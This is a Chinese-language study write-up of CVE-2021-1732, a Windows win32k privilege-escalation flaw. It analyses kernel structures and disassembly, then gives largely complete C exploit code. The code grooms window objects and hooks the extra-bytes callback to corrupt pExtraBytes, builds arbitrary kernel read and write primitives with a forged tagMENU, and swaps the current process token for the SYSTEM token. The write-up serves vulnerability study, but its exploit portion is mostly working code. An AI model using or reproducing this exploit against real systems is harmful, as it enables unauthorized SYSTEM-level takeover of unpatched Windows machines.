CVE-2021-1732提权漏洞学习笔记
 
                    
本文为看雪论坛精华文章
看雪论坛作者ID:1900
一
前言
1.漏洞描述
2.实验环境
- 操作系统:Win10 x64 1909 专业版 
- 编译器:Visual Studio 2017 
- 调试器:IDA Pro, WinDbg 
二
漏洞分析
1.关键结构体成员
1: kd> dt tagTHREADINFO+0x1C0 rpdesk : Ptr64 tagDESKTOP
0: kd> dt tagDESKTOP+0x080 pheapDesktop : Ptr64 tagWIN32HEAP
2: kd> dt tagWND+0x000 h : Ptr64 Void+0x008 DesktopOffset : Uint8B+0x010 pti : Ptr64 tagTHREADINFO+0x018 rpdesk : Ptr64 tagDESKTOP+0x020 pSelf : Ptr64 tagWND+0x028 ptagWNDK : Ptr64 tagWNDK+0x030 DesktopOffset : Uint8B+0x058 Left : Uint4B+0x05C Right : Uint4B+0x098 spMenu : Ptr64 tagMENU+0x0C8 cbwndExtra : UInt4B+0x0E8 Flags : UInt4B+0x128 pExtraBytes : Uint8B
struct tagWNDK{ULONG64 hWnd; //+0x00ULONG64 OffsetToDesktopHeap;//+0x08 tagWNDK相对桌面堆基址偏移ULONG64 state; //+0x10DWORD dwExStyle; //+0x18DWORD dwStyle; //+0x1CBYTE gap[0x38];DWORD rectBar_Left; //0x58DWORD rectBar_Top; //0x5CBYTE gap1[0x68];ULONG64 cbWndExtra; //+0xC8 窗口扩展内存的大小BYTE gap2[0x18];DWORD dwExtraFlag; //+0xE8 决定SetWindowLong寻址模式BYTE gap3[0x10]; //+0xECDWORD cbWndServerExtra; //+0xFCBYTE gap5[0x28];ULONG64 pExtraBytes; //+0x128 模式1:内核偏移量 模式2:用户态指针};
PVOID HMAllocObject(PTHREADINFO ptiOwner,PDESKTOP pdeskSrc,BYTE bType,DWORD size);
unsigned __int64 __fastcall HMAllocObject(__int64 ptiOwner, __int64 pdeskSrc, unsigned __int8 bType, unsigned int size){v9 = *((_WORD *)&gahti + 0xC * Type + 6);if ( (v9 & 0x10) != 0 && pdeskSrc ){if ( (int)IsDesktopAllocSupported() < 0 )goto LABEL_67;tagWnd = (unsigned __int64)HMAllocateUserOrIsolatedType(v5, v9, Type); // 创建tagWND对象if ( !tagWnd )goto LABEL_67;ptagWNDk = DesktopAlloc(pdeskSrc,*(unsigned int *)((char *)&gahti + v38 + 0x10),((unsigned __int8)Type << 16) | 5u); // 创建tagWNDK对象*(_QWORD *)(tagWnd + 0x28) = ptagWNDk; // tagWND->ptagWNDK赋值为创建的tagWNDK对象if ( !ptagWNDk ){HMFreeUserOrIsolatedType(v9, Type, (void *)tagWnd);goto LABEL_67;}LockObjectAssignment((void **)(tagWnd + 0x18), (void *)pdeskSrc);ptagWNDk = *(_QWORD *)(tagWnd + 0x28);*(_QWORD *)(tagWnd + 0x20) = tagWnd; // 为tagWND->pSelf赋值*(_QWORD *)(tagWnd + 0x30) = ptagWNDk - *(_QWORD *)(pdeskSrc + 0x80); // 将ptagWNDK与pheapDesktop的偏移赋值给tagWND偏移0x30处}hwnd = (int)v15 | (unsigned __int64)(*(unsigned __int16 *)((char *)qword_1C0215758+ v15 * (unsigned int)dword_1C0215760+ 0x1A) << 16); // 获取窗口句柄*(_QWORD *)tagWnd = hwnd; // 为tagWND->hWnd赋值if ( *(_DWORD *)((char *)&gahti + v38 + 0x10) ){ptagWNDk = *(_QWORD *)(tagWnd + 0x28);*(_QWORD *)ptagWNDk = hwnd; // 为ptagWNDK->hWnd赋值*(_QWORD *)(ptagWNDk + 8) = *(_QWORD *)(tagWnd + 0x30); // 将ptagWNDK与pheapDesktop的偏移赋值给ptagWNDK偏移0x8处}return tagWND;}
3.xxxCreateWindowEx函数分析
.text:00000001C003BCCB mov rax, cs:__imp_gptiCurrent.text:00000001C003BCD2 mov r14, [rax].text:00000001C003BCD5 mov [rsp+4E8h+var_488], r14.text:00000001C003BCDA mov [rsp+4E8h+var_370], r14.text:00000001C003C1E2 mov r15, [rsp+4E8h+var_370].text:00000001C003BDDC mov rax, [r14+1C0h] ; rax = tagTHREADINFO->rpdesk.text:00000001C003BDE3 mov [rsp+4E8h+rpdesk], rax// 省略部分代码.text:00000001C003C198 xor ebx, ebx.text:00000001C003C1AC lea esi, [rbx+1].text:00000001C003C347 mov r9d, 150h ; r9d = 0x150.text:00000001C003C34D mov r8b, sil ; r8d = 1.text:00000001C003C350 mov rdx, [rsp+4E8h+pdesk] ; rdx = rpdesk.text:00000001C003C358 mov rcx, r15 ; rcx = ptiCurrent.text:00000001C003C35B call cs:__imp_HMAllocObject.text:00000001C003C362 nop dword ptr [rax+rax+00h].text:00000001C003C367 mov r15, rax ; 将tagWND赋给r15.text:00000001C003C36A mov [rsp+4E8h+var_tagWND], rax.text:00000001C003C372 test rax, rax.text:00000001C003C375 jnz short loc_1C003C3BF
.text:00000001C003CDDB mov dword ptr [rsp+4E8h+var_3F8], edi ; edi=0.text:00000001C003CDE2 lea rcx, [r15+0B1h].text:00000001C003CDE9 lea rdx, [rsp+4E8h+var_3F8].text:00000001C003CDF1 call ??9?$RedirectedFieldcbwndExtra@H@tagWND@@QEBAEAEBH@Z ; tagWND::RedirectedFieldcbwndExtra<int>::operator!=(int const &).text:00000001C003CDF6 test al, al.text:00000001C003CDF8 jz short loc_1C003CE44.text:00000001C003CDFA mov rax, [r15+28h] ; rax = tagWND->ptagWNDK.text:00000001C003CDFE mov ecx, [rax+0C8h] ; rcx = tagWNDK->cbwndExtra.text:00000001C003CE04 call xxxClientAllocWindowClassExtraBytes.text:00000001C003CE09 mov rcx, rax ; 申请内存地址赋给ecx.text:00000001C003CE0C mov rax, [r15+28h] ; rax = tagWND->ptagWNDK.text:00000001C003CE10 mov [rax+128h], rcx ; 申请内存地址赋给tagWNDK->pExtraBytes
4.xxxClientAllocWindowClassExtraBytes函数分析
const void *__fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length){LODWORD(pInputBuffer) = Length;ret = KeUserModeCallback(0x7Bi64, &pInputBuffer, 4i64, &pOutputBuffer, &nOutLen);if ( ret < 0 || (_DWORD)nOutLen != 0x18 ) // 输出长度等于0x18return 0i64;v3 = pOutputBuffer;if ( pOutputBuffer + 1 < pOutputBuffer || (unsigned __int64)(pOutputBuffer + 1) > *(_QWORD *)MmUserProbeAddress )v3 = *(__int64 **)MmUserProbeAddress;pAllocBuffer = (const void *)*v3;ProbeForRead(pAllocBuffer, size, v5 != 0 ? 1 : 4);return pAllocBuffer;}

5.xxxSetWindowLongPtr函数分析
.text:00000001C008D383 test edi, edi ; nIndex >= 0则跳转.text:00000001C008D385 jns loc_1C008D487.text:00000001C008D38B mov r9d, r12d.text:00000001C008D38E mov r8, r15.text:00000001C008D391 mov edx, edi.text:00000001C008D393 mov rcx, rsi ; struct tagWND *.text:00000001C008D396 call xxxSetWindowData.text:00000001C008D39B mov rdi, rax
.text:00000001C008D487 loc_1C008D487:.text:00000001C008D487 mov r8, [rsi+28h] ; r8 = tagWND->ptagWNDK.text:00000001C008D48B mov ecx, [r8+0C8h] ; ecx = ptagWNDK->cbwndExtra.text:00000001C008D492 mov r9d, [r8+0FCh] ; 该偏移的成员为知,但是值为0.text:00000001C008D499 add ecx, r9d.text:00000001C008D49C mov eax, edi ; eax = nIndex.text:00000001C008D49E add rax, 8.text:00000001C008D4A2 cmp rax, rcx.text:00000001C008D4A5 ja loc_1C008D696 ; 如果nIndex + 8 > cbwndExtra,则跳转.text:00000001C008D696 loc_1C008D696:.text:00000001C008D696 mov ecx, 585h.text:00000001C008D69B call UserSetLastError.text:00000001C008D6A0 test bl, bl.text:00000001C008D6A2 jnz loc_1C01855D0.text:00000001C008D6A8 xor eax, eax.text:00000001C008D6AA jmp loc_1C008D3A9
.text:00000001C008D4E2 test dword ptr [r8+0E8h], 800h ; ptagWNDK->Flags是否包含0x800标记.text:00000001C008D4ED jnz loc_1C018566C.text:00000001C008D4F3 mov rax, [r8+128h] ; rax = ptagWNDK->pExtraBytes.text:00000001C008D4FA movsxd r8, edi ; r8 = nIndex.text:00000001C008D4FD add r8, rax ; r8 = nIndex + pExtraBytes
.text:00000001C018566C loc_1C018566C:.text:00000001C018566C mov rdx, [r8+128h] ; rdx = ptagWNDK->pExtraBytes.text:00000001C0185673 mov rax, [rsi+18h] ; rax = tagWND->rpdesk.text:00000001C0185677 movsxd rcx, edi ; rcx = nIndex.text:00000001C018567A mov r8, [rax+80h] ; r8 = tagDESKTOP->pheapDesktop.text:00000001C0185681 add r8, rcx ; r8 = pheapDesktop + nIndex.text:00000001C0185684 add r8, rdx ; r8 = pheapDesktop + nIndex + pExtraBytes.text:00000001C0185687 jmp loc_1C008D500
.text:00000001C008D500 loc_1C008D500:.text:00000001C008D500 mov rdi, [r8].text:00000001C008D503 mov [rsp+88h+var_oldNew], rdi.text:00000001C008D508 mov [r8], r15 ; 将dwNewLong赋值到寄存器所指向的地址.text:00000001C008D50B jmp loc_1C008D39E
三
漏洞验证
1.修改pExtraBytes
BOOL InitTriggerWnd(){BOOL bRet = TRUE;HINSTANCE handle = NULL;handle = GetModuleHandle(NULL);if (!handle){bRet = FALSE;ShowError("GetModuleHandle", GetLastError());goto exit;}PCHAR pClassName = "Trigger";WNDCLASSEX wndClass = { 0 };wndClass.cbSize = sizeof(wndClass);wndClass.lpfnWndProc = DefWindowProc;wndClass.style = CS_VREDRAW | CS_HREDRAW;wndClass.cbWndExtra = g_dwWndExtra; // 指定特定的大小wndClass.hInstance = handle;wndClass.lpszClassName = pClassName;if (!RegisterClassEx(&wndClass)){bRet = FALSE;ShowError("RegisterClassEx", GetLastError());goto exit;}g_hTriggerWnd = CreateWindowEx(WS_EX_NOACTIVATE,pClassName,NULL,WS_DISABLED,0, 0, 0, 0,NULL,NULL,handle,NULL);if (!g_hTriggerWnd){bRet = FALSE;ShowError("CreateWindowEx", GetLastError());goto exit;}exit:return bRet;}
NTSTATUS MyxxxClientAllocWindowClassExtraBytes(PVOID arg0){if (*(PDWORD)arg0 == g_dwWndExtra){BYTE bRes[0x18] = { 0 };// 设置tagWND->pExtraBytes*(PULONG64)bRes = 0x100;return fnNtCallbackReturn(bRes, sizeof(bRes), 0);}return g_orgClientAllocWindowExtraBytes(arg0);}

2.xxxConsoleControl函数分析
__int64 __fastcall xxxConsoleControl(int nIndex,struct _CONSOLE_PROCESS_INFO *pInfo,int nInLength);
.text:00000001C00E0571 mov edi, r8d ; edi = nLength.text:00000001C00E0580 test ecx, ecx.text:00000001C00E0582 jz loc_1C01A3F71.text:00000001C00E0588 sub ecx, 1.text:00000001C00E058B jz loc_1C00E0671.text:00000001C00E0591 sub ecx, 1.text:00000001C00E0594 jz loc_1C01A3F5B.text:00000001C00E059A sub ecx, 1.text:00000001C00E059D jz loc_1C00E0686.text:00000001C00E05A3 sub ecx, 1.text:00000001C00E05A6 jz loc_1C01A3F30.text:00000001C00E05AC sub ecx, 1 ; nIndex - 5 != 0.text:00000001C00E05AF jnz loc_1C00E06A3// 省略部分代码.text:00000001C00E06A3 loc_1C00E06A3:.text:00000001C00E06A3 cmp ecx, 1 ; nIndex = 6不跳转.text:00000001C00E06A6 jnz loc_1C01A3F12.text:00000001C00E06AC cmp edi, 10h ; nInLength == 0x10不跳转.text:00000001C00E06AF jnz loc_1C01A3F71.text:00000001C00E06B5 mov rcx, [rdx] ; rcx = [pInfo].text:00000001C00E06B8 call cs:__imp_ValidateHwnd.text:00000001C00E06BF nop dword ptr [rax+rax+00h].text:00000001C00E06C4 mov rdi, rax ; rdi = tagWND
.text:00000001C00E0772 test dword ptr [rcx+0E8h], 800h ; tagWND->Flags是否包含0x800.text:00000001C00E077C jz short loc_1C00E07BE
.text:00000001C00E07BE loc_1C00E07BE:.text:00000001C00E07BE mov edx, [rcx+0C8h] ; edx = tagWND->cbwndExtra.text:00000001C00E07C4 xor r8d, r8d.text:00000001C00E07C7 mov rcx, [rdi+18h] ; rcx = tagWND->rpdesk.text:00000001C00E07CB call DesktopAlloc.text:00000001C00E07D0 mov r14, rax ; r14 = 申请的内存地址.text:00000001C00E07D3 mov [rsp+0B8h+var_heap], rax ; 保存到局部变量中.text:00000001C00E07D8 test rax, rax.text:00000001C00E07DB jz loc_1C01A3F1C
.text:00000001C00E0876 loc_1C00E0876:.text:00000001C00E0876 mov rax, [rdi+18h] ; rax = tagWND->rpdesk.text:00000001C00E087A mov rcx, r14 ; rcx等于刚申请的内存.text:00000001C00E087D sub rcx, [rax+80h] ; rcx = 新申请的内存减去rpdesk->pheapDesktop.text:00000001C00E0884 mov rax, [r15] ; rax = tagWND->ptagWNDK.text:00000001C00E0887 mov [rax+128h], rcx ; ptagWNDK->pExtraBytes = rcx.text:00000001C00E088E jmp loc_1C00E0790
.text:00000001C00E07A2 loc_1C00E07A2:.text:00000001C00E07A2 mov rax, [r15] ; rax = tagWND->ptagWNDK.text:00000001C00E07A5 bts dword ptr [rax+0E8h], 0Bh ; 将ptagWNDK->Flags第0xB位设为1,即在Flags中增加0x800标记
3.漏洞触发
BOOL Init_CVE_2021_1732(){BOOL bRet = TRUE;DWORD i = 0;lHMValidateHandle HMValidateHandle = NULL;HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();if (!HMValidateHandle){bRet = FALSE;goto exit;}HINSTANCE handle = NULL;handle = GetModuleHandle(NULL);if (!handle){bRet = FALSE;ShowError("GetModuleHandle", GetLastError());goto exit;}WNDCLASSEX wndClass = { 0 };PCHAR pClassName = "leak";wndClass.cbWndExtra = 0x20;wndClass.cbSize = sizeof(wndClass);wndClass.style = CS_VREDRAW | CS_HREDRAW;wndClass.hInstance = handle;wndClass.lpfnWndProc = DefWindowProc;wndClass.lpszClassName = pClassName;if (!RegisterClassEx(&wndClass)){bRet = FALSE;ShowError("RegisterClassEx", GetLastError());goto exit;}HWND hWnd = NULL;for (i = 0; i < g_dwWinNum; i++){hWnd = CreateWindowEx(WS_EX_NOACTIVATE,pClassName,NULL,WS_DISABLED,0, 0, 0, 0,NULL,NULL,handle,NULL);if (!hWnd) continue;g_hWnd[i] = hWnd;g_pWnd[i] = (ULONG64)HMValidateHandle(hWnd, TYPE_WINDOW);}// 释放部分窗口,之后创建触发漏洞的窗口会占用释放的这些窗口中的其中一个for (i = 2; i < g_dwWinNum; i += 2){if (g_hWnd[i]){DestroyWindow(g_hWnd[i]);}}exit:return bRet;}
NTSTATUS MyxxxClientAllocWindowClassExtraBytes(PVOID arg0){if (*(PDWORD)arg0 == g_dwWndExtra){HWND hTriggerWnd = NULL;DWORD i = 0;for (i = 2; i < g_dwWinNum; i += 2){if (g_hWnd[i]){DWORD cbWndExtra = *(PDWORD)(g_pWnd[i] + g_cbWndExtra_offset);if (cbWndExtra == g_dwWndExtra){hTriggerWnd = (HWND)*(PULONG64)g_pWnd[i];break;}}}if (hTriggerWnd){BYTE bInfo[0x10] = { 0 };// tagWND->Flag |= 0x800*(HWND *)bInfo = hTriggerWnd;fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));BYTE bRes[0x18] = { 0 };// 设置tagWND->pExtraBytes*(PULONG64)bRes = 0xFFFFFF00;return fnNtCallbackReturn(bRes, sizeof(bRes), 0);}else printf("do not find hTriggerWnd\n");}return g_orgClientAllocWindowExtraBytes(arg0);}


四
漏洞利用
1.任意地址写
tagWNDK + 8处保存的是ptagWNDK - pheapDesktop。
通过xxxConsoleControl增加0x800标记的时候,会将窗口的pExtraBytes修改为新申请的内存地址减去pheapDesktop的值。
当Flags包含0x800标记,SetWindowLongPtr要读写的地址是pheapDesktop + nIndex + pExtraBytes的值。
当Flags不包含0x800标记,SetWindowLongPtr要读写的地址是pExtraBytes + nIndex。
if (i == 0){g_qwKernelHeapOffset0 = *(PQWORD)(g_pWnd[i] + 8);BYTE bInfo[0x10] = { 0 };*(HWND *)bInfo = g_hWnd[0];fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));g_qwWndOffset = *(PQWORD)(g_pWnd[i] + g_ExtraBytes_offset);}
g_qwKernelHeapOffset1 = *(PQWORD)(g_pWnd[1] + 8);if (g_qwWndOffset > g_qwKernelHeapOffset1){bRet = FALSE;printf("g_pWnd[0] offset is invalid!\n");goto exit;}g_qwWndOffset = g_qwKernelHeapOffset1 - g_qwWndOffset;
if (hTriggerWnd){BYTE bInfo[0x10] = { 0 };// tagWND->Flag |= 0x800*(HWND *)bInfo = hTriggerWnd;fnNtUserConsoleControl(6, bInfo, sizeof(bInfo));BYTE bRes[0x18] = { 0 };// 设置tagWND->pExtraBytes*(PULONG64)bRes = g_qwKernelHeapOffset0;return fnNtCallbackReturn(bRes, sizeof(bRes), 0);}
// 将g_hWnd[0]的cbwndExtra设为0xFFFFFFFFif (!SetWindowLongPtr(g_hTriggerWnd, g_cbWndExtra_offset, 0xFFFFFFFF) &&GetLastError() != 0){bRet = FALSE;ShowError("SetWindowLongPtr", GetLastError());goto exit;}
BOOL WriteData_CVE_2021_1732(PVOID pTarAddress, QWORD qwValue){BOOL bRet = TRUE;if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + g_ExtraBytes_offset, (QWORD)pTarAddress) &&GetLastError() != 0){bRet = FALSE;ShowError("SetWindowLongPtr", GetLastError());goto exit;}if (!SetWindowLongPtr(g_hWnd[1], 0, qwValue) && GetLastError() != 0){bRet = FALSE;ShowError("SetWindowLongPtr", GetLastError());goto exit;}exit:return bRet;}
BOOLWINAPIGetMenuBarInfo(_In_ HWND hwnd,_In_ LONG idObject,_In_ LONG idItem,_Inout_ PMENUBARINFO pmbi);typedef struct tagMENUBARINFO {DWORD cbSize;RECT rcBar;HMENU hMenu;HWND hwndMenu;BOOL fBarFocused:1;BOOL fFocused:1;} MENUBARINFO, *PMENUBARINFO;typedef struct _RECT {LONG left;LONG top;LONG right;LONG bottom;} RECT, *PRECT;
__int64 __fastcall xxxGetMenuBarInfo(ULONG_PTR pwnd, __int64 idObject, __int64 idItem, __int64 pmbi){switch ( idObject ){case -3: // idObject == -3,第一处验证if ( (*(_BYTE *)(spMenu + 0x1F) & 0x40) != 0 )goto LABEL_9;spMenu = *(_QWORD *)(pwnd + 0xA8); // tagWND->spMenu不存在则返回,第二处验证if ( !spMenu )goto LABEL_9;SmartObjStackRefBase<tagMENU>::operator=(&kspMenu, spMenu); // kspMenu = spMenu->spSelfif ( *(_DWORD *)(*kspMenu + 0x40) && *(_DWORD *)(*kspMenu + 0x44)) // *(spMenu + 0x40) != 0 && *(spMenu + 0x44) != 0,第三处验证{if ( (_DWORD)IdItem ) // idItem == 1{ptagWNDk = *(_QWORD *)(pwnd + 0x28);num_0x60 = 0x60 * IdItem;rgItemListEntry = *(_QWORD *)(*kspMenu + 0x58);tarAddr = *(_QWORD *)(0x60 * IdItem + rgItemListEntry - 0x60);// tarAddr = *(spMenu + 0x58)if ( (*(_BYTE *)(ptagWNDk + 0x1A) & 0x40) != 0 ){v49 = *(_DWORD *)(ptagWNDk + 0x60) - *(_DWORD *)(tarAddr + 0x40);*(_DWORD *)(pmbi + 0xC) = v49;*(_DWORD *)(pmbi + 4) = v49 - *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x48i64);}else // 这里会走else分支{value = *(_DWORD *)(tarAddr + 0x40) + *(_DWORD *)(ptagWNDk + 0x58);// value = *(*(spMenu + 0x58) + 0x40) + ptagWNDK->Left*(_DWORD *)(pmbi + 4) = value; // 为pmbi->rcBar->left赋值*(_DWORD *)(pmbi + 0xC) = value + *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x48i64);}Value = *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x44i64) + *(_DWORD *)(*(_QWORD *)(pwnd + 0x28) + 0x5Ci64);// Value = *(*(spMenu + 0x58) + 0x44) + ptagWNDK->Right*(_DWORD *)(pmbi + 8) = Value; // 为pmbi->rcBar->top赋值v44 = Value + *(_DWORD *)(*(_QWORD *)(num_0x60 + rgItemListEntry - 0x60) + 0x4Ci64);}}}}
if (i == 1){// 从第1个tagWND开始将带有tagMENU对象hMenu = CreateMenu();hHelpMenu = CreateMenu();if (!hMenu || !hHelpMenu){bRet = FALSE;ShowError("CreateMenu", GetLastError());goto exit;}if (!AppendMenu(hHelpMenu, MF_STRING, 0x1888, TEXT("about")) &&!AppendMenu(hMenu, MF_POPUP, (LONG)hHelpMenu, TEXT("help"))){bRet = FALSE;ShowError("AppendMenu", GetLastError());goto exit;}}
// 伪造tagMENUHANDLE hProcHeap = NULL;hProcHeap = GetProcessHeap();if (!hProcHeap){bRet = FALSE;ShowError("GetProcessHeap", GetLastError());goto exit;}DWORD dwHeapFlags = HEAP_ZERO_MEMORY;g_qwMenu = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0xA0);if (!g_qwMenu){bRet = FALSE;ShowError("GetProcessHeap", GetLastError());goto exit;}*(PQWORD)(g_qwMenu + 0x98) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x20);*(PQWORD)(*(PQWORD)(g_qwMenu + 0x98)) = g_qwMenu;*(PQWORD)(g_qwMenu + 0x28) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x200);*(PQWORD)(*(PQWORD)(g_qwMenu + 0x28) + 0x2C) = 1;*(PQWORD)(g_qwMenu + 0x58) = (QWORD)HeapAlloc(hProcHeap, dwHeapFlags, 0x8);*(PDWORD)(g_qwMenu + 0x40) = 1;*(PDWORD)(g_qwMenu + 0x44) = 2;
// g_hWnd[1]的style加入WS_CHILDDWORD dwStyleOffset = 0x18;QWORD qwStyle = *(PQWORD)(g_pWnd[1] + dwStyleOffset);qwStyle |= 0x4000000000000000;if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&GetLastError() != 0){bRet = FALSE;ShowError("SetWindowLongPtr", GetLastError());goto exit;}// 将伪造的tagMENU设置到g_hWnd[1]中QWORD qwSPMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, g_qwMenu);if (!qwSPMenu && GetLastError() != 0){bRet = FALSE;ShowError("SetWindowLongPtr", GetLastError());goto exit;}// 删除g_hWnd[1]的WS_CHILDqwStyle &= ~0x4000000000000000;if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&GetLastError() != 0){bRet = FALSE;ShowError("SetWindowLongPtr", GetLastError());goto exit;}
QWORD ReadData_CVE_2021_1732(QWORD pTarAddress){BYTE bValue[0x8] = { 0 };RECT Rect = { 0 };if (!GetWindowRect(g_hWnd[1], &Rect)){ShowError("GetWindowRect", GetLastError());goto exit;}MENUBARINFO mbi = { 0 };mbi.cbSize = sizeof(mbi);*(PQWORD)(*(PQWORD)(g_qwMenu + 0x58)) = pTarAddress - 0x40;if (!GetMenuBarInfo(g_hWnd[1], -3, 1, &mbi)){ShowError("GetMenuBarInfo", GetLastError());goto exit;}*(PDWORD)bValue = mbi.rcBar.left - Rect.left;*(PDWORD)(bValue + 4) = mbi.rcBar.top - Rect.top;exit:return *(PQWORD)bValue;}
3.提权
BOOL EnablePrivileges_CVE_2021_1732(){BOOL bRet = TRUE;CONST DWORD dwLinkOffset = 0x2F0, dwPIDOffset = 0x2E8, dwTokenOffset = 0x360;QWORD qwSytemAddr = GetSystemProcess();if (!qwSytemAddr){bRet = FALSE;goto exit;}// 获取system进程EPROCESS的地址和TokenQWORD qwEprocess = ReadData_CVE_2021_1732(qwSytemAddr);QWORD qwSystemToken = ReadData_CVE_2021_1732(qwEprocess + dwTokenOffset);// 找到当前进程的EPROCESSQWORD qwCurPID = GetCurrentProcessId(), qwPID = 0;do {qwEprocess = ReadData_CVE_2021_1732(qwEprocess + dwLinkOffset) - dwLinkOffset;qwPID = ReadData_CVE_2021_1732(qwEprocess + dwPIDOffset);} while (qwPID != qwCurPID);// 替换Tokenif (!WriteData_CVE_2021_1732((PVOID)(qwEprocess + dwTokenOffset), qwSystemToken)){bRet = FALSE;goto exit;}exit:return bRet;}
4.修复数据
// 修复数据,防止蓝屏lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();QWORD qwTriggerHead = (QWORD)HMValidateHandle(g_hTriggerWnd, TYPE_WINDOW);QWORD qwWndOffset = *(PQWORD)(g_pWnd[0] + g_ExtraBytes_offset);QWORD qwTriggerOffset = *(PQWORD)(qwTriggerHead + 8);if (qwWndOffset > qwTriggerOffset){printf("qwWndOffset to larger\n");goto exit;}qwWndOffset = qwTriggerOffset - qwWndOffset;DWORD dwFlagsOffset = 0xE8;DWORD dwFlags = *(PDWORD)(qwTriggerHead + dwFlagsOffset);dwFlags &= ~0x800;if (!SetWindowLongPtr(g_hWnd[0], qwWndOffset + dwFlagsOffset, dwFlags) &&GetLastError() != 0){bRet = FALSE;ShowError("SetWindowLongPtr", GetLastError());goto exit;}QWORD qwBuffer = (QWORD)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, g_dwWndExtra);if (!qwBuffer){bRet = FALSE;ShowError("HeapAlloc", GetLastError());goto exit;}if (!SetWindowLongPtr(g_hWnd[0], qwWndOffset + g_ExtraBytes_offset, qwBuffer) &&GetLastError() != 0){bRet = FALSE;ShowError("SetWindowLongPtr", GetLastError());goto exit;}// 增加g_hWnd[1]的WS_CHILDqwStyle |= 0x4000000000000000;if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&GetLastError() != 0){bRet = FALSE;ShowError("SetWindowLongPtr", GetLastError());goto exit;}// 恢复g_hWnd[1]的spMenuif (!SetWindowLongPtr(g_hWnd[1], GWLP_ID, qwSPMenu) && GetLastError() != 0){bRet = FALSE;ShowError("SetWindowLongPtr", GetLastError());goto exit;}// 删除g_hWnd[1]的WS_CHILDqwStyle &= ~0x4000000000000000;if (!SetWindowLongPtr(g_hWnd[0], g_qwWndOffset + dwStyleOffset, qwStyle) &&GetLastError() != 0){bRet = FALSE;ShowError("SetWindowLongPtr", GetLastError());goto exit;}
五
运行结果

参考资料
https://bbs.pediy.com/thread-266362.htm
https://blog.csdn.net/further_eye/article/details/116030405?spm=1001.2014.3001.5502
https://blog.csdn.net/qq_41252520/article/details/119349398

看雪ID:1900
https://bbs.pediy.com/user-home-835440.htm
# 往期推荐
5.协议分析实战


球分享

球点赞

球在看

点击“阅读原文”,了解更多!
[广告]赞助链接:
                        关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
                        让资讯触达的更精准有趣:https://www.0xu.cn/
                    
 关注KnowSafe微信公众号
            关注KnowSafe微信公众号随时掌握互联网精彩
- 抖音怎么投屏到电视上看
- Inspira UI 不写一行 CSS 也能打造超好看界面
- Safari现已支持中英文混排添加空格 中日韩混排英文/数字时自动追加空格
- 中文域名如何申请SSL证书?
- OPPO首批机型本月开启ColorOS 15正式版升级:涵盖Find X7等11款
- 在看|一周网安回顾(2022.2.19-2022.2.25)
- 当机器人遇上云,华为云贺岁《虎年行大运》
- 抖音否认进入外卖行业;谷歌发布Android 12硬件门槛;IntelliJ IDEA 2021.3 EAP 4发布|极客头条
- 网安星播客 | 李薛:网络战:对抗国家级APT攻击
- 写给 3 年内程序开发者的一封信
- 牛!
- 在招 | 美亚柏科高薪诚招网络安全工程师
            赞助链接
        
    

 
                 
             
             
            
 
        
 
        
